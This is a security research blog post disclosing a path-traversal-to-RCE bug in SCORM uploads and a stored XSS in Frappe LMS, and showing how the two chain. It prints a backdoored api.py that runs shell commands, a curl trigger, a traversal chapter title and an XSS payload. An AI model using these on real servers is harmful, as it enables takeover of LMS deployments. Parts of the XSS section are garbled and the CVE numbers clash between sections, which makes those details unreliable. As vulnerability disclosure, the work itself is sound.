### Intro to Frappe LMS

### Vulnerability Summary

Frappe LMS is an open-source learning management system built on the Frappe framework. It provides organizations with tools to create and manage online courses, track student progress, post job opportunities, and run learning batches.

While performing research on Frappe LMS, we found several vulnerabilities, including an attack chain that could enable a student user to gain remote code execution (RCE) on the server.

### Vulnerability Attack Summary

This blog is primarily about chaining two vulnerabilities. The first allows a course-creator user to execute arbitrary code on the server. The second allows a student user to inject a JavaScript payload in their profile, causing XSS when viewed.

The POC at the end of this post will show how the two vulnerabilities can be chained; where a privileged user viewing an infected profile causes code to execute on the server.

**Vendor:** Frappe

**Product:** Frappe LMS

**CVEs:**

CVE-2026-39405: Path Traversal to RCE

CVE-2026-46546: Header Tag Injection

**Confirmed Vulnerable Version:** v2.44.0

**Fixed Version:** v2.50.1

## CVE-2026-39405: Path Traversal in SCORM Package Upload Leading to Remote Code Execution

### What Is SCORM

SCORM (Sharable Content Object Reference Model) is a widely adopted specification for packaging and delivering e-learning content. A SCORM package is essentially a ZIP archive containing a manifest file ( `imsmanifest.xml`) at its root along with supporting assets such as HTML files, JavaScript, CSS, and media. The manifest describes the structure and sequence of the learning content, and a compliant LMS uses it to track learner progress.

A basic SCORM package has the following structure:

“`
demo_scorm/ ├── sco/ │ ├── sco.md │ ├── scorm.js │ └── style.css └── imsmanifest.xml
“`

The `imsmanifest.xml` must be present at the root of the ZIP for the application to recognize it as a valid SCORM package.

### How Does Frappe LMS Handle SCORM Packages

In Frappe LMS, course creators (Administrators by default) can upload a SCORM package when adding a new chapter to a course. When the ZIP package is received server-side, the application extracts its contents into a directory on the filesystem. The intended destination is a subdirectory inside the application’s public assets folder, named after the chapter’s title.

The `extract_package` function is responsible for handling the uploaded zip file.

Line 1007 generates a path, and line 1008 extracts the ZIP archive to that path.

Line 1007 calls the `frappe.get_site_path` function. This function is essentially a wrapper around `os.path.join` that passes in `local.site_path` as the first argument.

The `extract_package` function accepts a user-provided chapter title, passes it into `os.path.join` to create the destination path, then extracts the contents of the uploaded zip archive to the created path. The vulnerability exists because the title argument is never sanitized; a chapter title such as `../../../../../apps/lms` causes the uploaded zip file to be extracted into the root directory of the application.

### Manual Exploitation

In this proof of concept, we will create a malicious SCORM package and exploit the path traversal vulnerability to replace the main `api.py` file with a backdoored version, resulting in remote code execution.

First, we download the `api.py` file from the frappe/lms code repository, then add a backdoor to a publicly available endpoint in the file.

“`
@frappe.whitelist(allow_guest=True) def get_job_details(job: str): ### BEGIN BACKDOOR ### if “|$>” in job: import subprocess command = job.split(“|$>”)[-1] result = subprocess.run(command, shell=True, capture_output=True, text=True) return {“cmd”: result.stdout} ### END BACKDOOR ### return frappe.db.get_value( “Job Opportunity”, job, [ “job_title”, “location”, … ], as_dict=1, )
“`

Next, we create a zipped SCORM package which contains the backdoored `api.py` file.

“`
backdoor_latest.zip/ ├── sco/ │ ├── sco.md │ ├── scorm.js │ └── style.css ├── imsmanifest.xml └── api.py
“`

Then, in the web application, we upload the malicious SCORM package in the ‘Add Chapter’ dialog, setting the chapter name to `../../../../../apps/lms/lms/lms` .

When we click the ‘Create’ button, there is a 500 error, but the `api.py` file is successfully replaced with the backdoored version.

The following cURL command can be used to execute the `id` command on the server.

“`
curl -X $’POST’ -H $’Content-Type: application/json; charset=utf-8′ –data-binary $'{“job”:”|$> id”}’ $’http://localhost:8000/api/method/lms.lms.api.get_job_details’
“`

Exploitation requires Admin privileges, but can be chained with an XSS vulnerability such as in CVE-2026-34606. This chain provides a path from student-level access to remote code execution.

## CVE-2026-34606: Stored XSS in Profile Bio and Other Fields

Frappe LMS correctly applies HTML sanitization to rich-text fields on submission. The profile bio field, for example, intentionally permits a subset of HTML tags such as `

`, ``, and ``. Dangerous elements like `

script>alert(document.location)<

/script>

“`

The `get_text()` function produces the following payload from the text above:

“`

“`

This behavior can be demonstrated directly in a Python interpreter:

When `get_text()` is called on the above HTML to generate the profile preview, BeautifulSoup extracts the text node from each `

` tag: `<`, then `script>alert(document.location)<`, then `/script>`. These are concatenated to produce:

“`
>>> from bs4 import BeautifulSoup >>> soup = BeautifulSoup(“

<

script>alert(document.location)<

/script>

“) >>> soup.get_text() ”
“`

The output of `get_text()` is a fully valid XSS payload. Because the preview rendering trusts this output without a second sanitization pass, the script executes in the browser of any user who loads the page.

The profile bio field is the most impactful surface for this vulnerability because any registered student can edit their own bio. Every user who views the attacker’s profile page is affected.

### Proof of Concept:

First, we log into an account and navigate to the user profile, then we click ‘Edit Profile’ and enter the following payload into the ‘Bio’ field before clicking the ‘Save’ button:

“`

<

script>alert(document.location)<

/script>

“`

When we refresh the page, the payload runs.

## XSS-to-RCE POC Video

This video shows a student-level attacker pasting an XSS payload into their profile bio. The exploit is run on the server when the administrator-level victim visits the attacker’s profile page. Once the exploit is executed, the attacker can execute commands on the server using the `CVE-2026-39405.py` script.

## Conclusion

This blog post outlines several vulnerabilities in Frappe LMS. These vulnerabilities were due to the application’s unsafe handling of user provided input. A third vulnerability, CVE-2026-46546, was also discovered during testing. CVE-2026-46546 is a meta tag injection vulnerability which leads to open-redirect. More information about this finding is available in the Rhino Security Labs CVE repository on GitHub.

We would like to thank Frappe for their responsiveness throughout this disclosure process.

Proof of concept code can be found in our CVE GitHub repository.

## Vulnerability Disclosure Timeline

**Vulnerability Disclosure Timeline****Date****Event**2/23/2026Initial disclosure sent to Frappe.3/22/2026Disclosure acknowledged by Frappe.3/30/2026Frappe states all disclosed vulnerabilities have been fixed.5/14/2026All CVEs posted on the Frappe LMS Project.9/15/2026This blog post is published.

As always, feel free to follow us on Twitter or LinkedIn and join our Discord for more releases and blog posts.

**Twitter:** https://twitter.com/rhinosecurity

**LinkedIn:** https://www.linkedin.com/company/rhino-security-labs/

**Discord:** https://discord.gg/peY8ttRDk